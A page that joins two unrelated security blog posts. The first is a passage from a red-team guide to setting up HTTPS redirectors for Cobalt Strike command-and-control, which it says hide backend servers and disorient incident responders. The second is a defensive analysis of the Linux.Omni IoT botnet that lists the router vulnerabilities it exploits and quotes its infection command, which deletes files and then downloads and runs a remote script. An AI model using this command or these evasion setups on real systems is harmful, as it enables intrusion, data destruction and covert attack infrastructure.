Notice we specify as the primary listener’s Host entry (for staging) and the two domains ( and in the Beacons field. We also set up a foreign listener pointing to the other domain to allow us to stage over if needed. With this setup, Beacons will stage over the chosen listener’s Host field and subsequently check-in round robin over the domains specified in the Beacons field.

Forcing HTTPS

In some setups, you may want to force all traffic over HTTPS, rather than allowing mixed content. In that case, add the following lines after the RewriteEngine On line of your htaccess ruleset:

RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^.*${REQUEST_URI} [L,R=301]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s SSL status is NOT «on»,
Change the entire request to serve the original request path from over HTTPS, and change the user’s address bar show the redirection. Make the redirect permanent with a 301 code.

The above ruleset was taken and slightly modified from from here. The %{HTTPS} variable will return “on” if the request is using SSL/TLS, and will return “off” if the request is using HTTP only.


Redirectors are a critical component in covert attack infrastructure. They are used to obfuscate backend infrastructure and can be used to confuse or disorient incident responders who are investigating your setup. Redirector traffic should blend into the expected traffic on a network. Since SSL/TLS adoption is rapidly rising, you will likely run into instances when your redirectors will need to run SSL/TLS with valid certificates. This post detailed how to set that up and some powerful things you can do with SSL-enabled redirectors, such as using multiple domains with an HTTPS Cobalt Strike listener.

Update: e0x70i pointed out in the comments of my Cobalt Strike HTTP C2 Redirectors with Apache mod_rewritepost, if your Cobalt Strike Malleable C2 profile contains an Accept-Encoding header for gzip, your Apache install may compress that traffic by default and cause your Beacon to be unresponsive or function incorrectly. To overcome this, disable mod_deflate (via a2dismod deflate and add the No Encode ([NE]) flag to your rewrite rules. (Thank you, e0x70i!)


Analysis of Linux.Omni

( Original text by by   )

Following our classification and analysis of the Linux and IoT threats currently active, in this article we are going to investigate a malware detected very recently in our honeypots, the Linux.Omni botnet. This botnet has particularly attracted our attention due to the numerous vulnerabilities included in its repertoire of infection (11 different in total), being able to determine, finally, that it is a new version of IoTReaper.

Analysis of the binary

The first thing that strikes us is the label given to the malware at the time of infection of the device, i.e., OMNI, because these last few weeks we were detecting OWARI, TOKYO, SORA, ECCHI… all of them versions of Gafgyt or Mirai and, which do not innovate much compared to what was reported in previous articles.

So, analyzing the method of infection, we find the following instructions:

As you can see, it is a fairly standard script and, therefore, imported from another botnet. Nothing new.

Although everything indicated that the sample would be a standard variant of Mirai or Gafgyt, we carried out the sample download.

The first thing we detect is that the binary is packaged with UPX. It is not applied in most samples, but it is not uncommon to see it in some of the more widespread botnet variants.

After looking over our binary, we found that the basic structure of the binary corresponds to Mirai.

However, as soon as we explore the binary infection options, we find attack vectors that, in addition to using the default credentials for their diffusion, use vulnerabilities of IoT devices already discovered and implemented in other botnets such as IoTReaper or Okiru / Satori, including the recent one that affects GPON routers.

Let’s examine which are these vulnerabilities that Omni uses:


Vulnerability that makes use of code injection in VACRON network video recorders in the “board.cgi” parameter, which has not been well debugged in the HTTP request parsing. We also found it in the IoTReaper botnet.

Netgear – CVE-2016-6277

Another of the vulnerabilities found in Omni is CVE-2016-6277, which describes the remote execution of code through a GET request to the “cgi-bin/” directory of vulnerable routers. These are the following:

R6400                         R7000
R7000P           R7500
R7800                         R8000
R8500                         R9000

D-Link – OS-Command Injection via UPnP

Like IoTReaper, Omni uses a vulnerability of D-link routers. However, while the first used a vulnerability in the cookie overflow, the hedwig.cgi parameter, this one uses a vulnerability through the UPnP interface.

The request is as follows:

And we can find it in the binary:

The vulnerable firmware versions are the following:

DIR-300 rev B – 2.14b01
DIR-600 – 2.16b01
DIR-645 – 1.04b01
DIR-845 – 1.01b02
DIR-865 – 1.05b03


Another vulnerability found in the malware is the one that affects more than 70 different manufacturers and is linked to the “/language/Swedish” resource, which allows remote code execution.

The list of vulnerable devices can be found here:

D-Link – HNAP

This is a vulnerability reported in 2014 and which has already been used by the malware The Moon, which allows bypassing the login through the CAPTCHA and allows an external attacker to execute remote code.

The vulnerable firmware versions on the D-Link routers are the following:

DI-524 C1 3.23
DIR-628 B2 1.20NA 1.22NA
DIR-655 A1 1.30EA

TR-069 – SOAP

This vulnerability was already exploited by the Mirai botnet in November 2016, which caused the fall of the Deutsche Telekom ISP.

The vulnerability is as follows:

We can also find it in the binary.

Huawei Router HG532 – Arbitrary Command Execution

Vulnerability detected in Huawei HG532 routers in the incorrect validation of a configuration file, which can be exploited through the modification of an HTTP request.

This vulnerability was already detected as part of the Okiru/Satori malware and analyzed in a previous article: (Analysis of Linux.Okiru)

Netgear – Setup.cgi RCE

Vulnerability that affects the DGN1000 firmware of Netgear routers, which allows remote code execution without prior authentication.

Realtek SDK

Different devices use the Realtek SDK with the miniigd daemon vulnerable to the injection of commands through the UPnP SOAP interface. This vulnerability, like the one mentioned above for Huawei HG532 routers, can already be found in samples of the Okiru/Satori botnet.


Finally, we found the latest vulnerability this past month, which affects GPON routers and is already incorporated to both IoT botnets and miners that affect Linux servers.

On the other hand, the botnet also makes use of diffusion through the default credentials (the way our honeypot system was infected), although these are encoded with an XOR key different from the 0x33 (usual in the base form) where each of the combinations has been encoded with a different key.

Infrastructure analysis

Despite the variety of attack vectors, the commands executed on the device are the same:

cd /tmp;rm -rf *;wget http://%s/{marcaDispositivo};sh /tmp/{marcaDispositivo}

The downloaded file is a bash script, which downloads the sample according to the architecture of the infected device.

As we can see, this exploit does not correspond with the analyzed sample, but is only dedicated to the search of devices with potentially vulnerable HTTP interfaces, as well as the vulnerability check of the default credentials, thus obtaining two types of infections, the one that uses the 11 previously mentioned vulnerabilities and the one that only reports the existence of exposed HTTP services or default credentials in potential targets.

Therefore, the architecture is very similar to the one found previously in the IoTReaper botnet.

Behind Omni

Investigating the references in the binaries we find the IP address 213.183.53 [.] 120, which is referenced as a download server for the samples. Despite not finding a directory listing available (in other variants it is quite common to find it), in the root directory we find a “Discord” platform, which is (officially) a text and voice chat for the gamer audience.

So, since it didn’t require any permissions or special invitation, we decided to choose a megahacker name, and enter the chat.

Once inside, we observed that the general theme of the chat is not video games, but a platform for the sale of botnet services.

After a couple of minutes in the room, it follows that the person behind the infrastructure is the user Scarface, who has decided to make some very cool advertising posters (and according to the aesthetics of the film of the same name).

In addition, it also offers support, as well as requests from potential consumers seeking evidence that their botnet is capable of achieving a traffic volume of 60 Gbps.

We can find some rather curious behaviors that denote the unprofessional nature of this group of cybercriminals, for example how Scarface shows the benefit it has gained from the botnet (and how ridiculous the amount) or how they fear that any of those who have entered the chat are cops.

So, we can determine that the Linux.Omni malware is an updated version of the IoTReaper malware, which uses the same network architecture format, besides importing, practically, all the Mirai source code.

Attached is the Yara rule for detecting the Linux.Omni malware:



(N.d.E.: Original post in Spanish)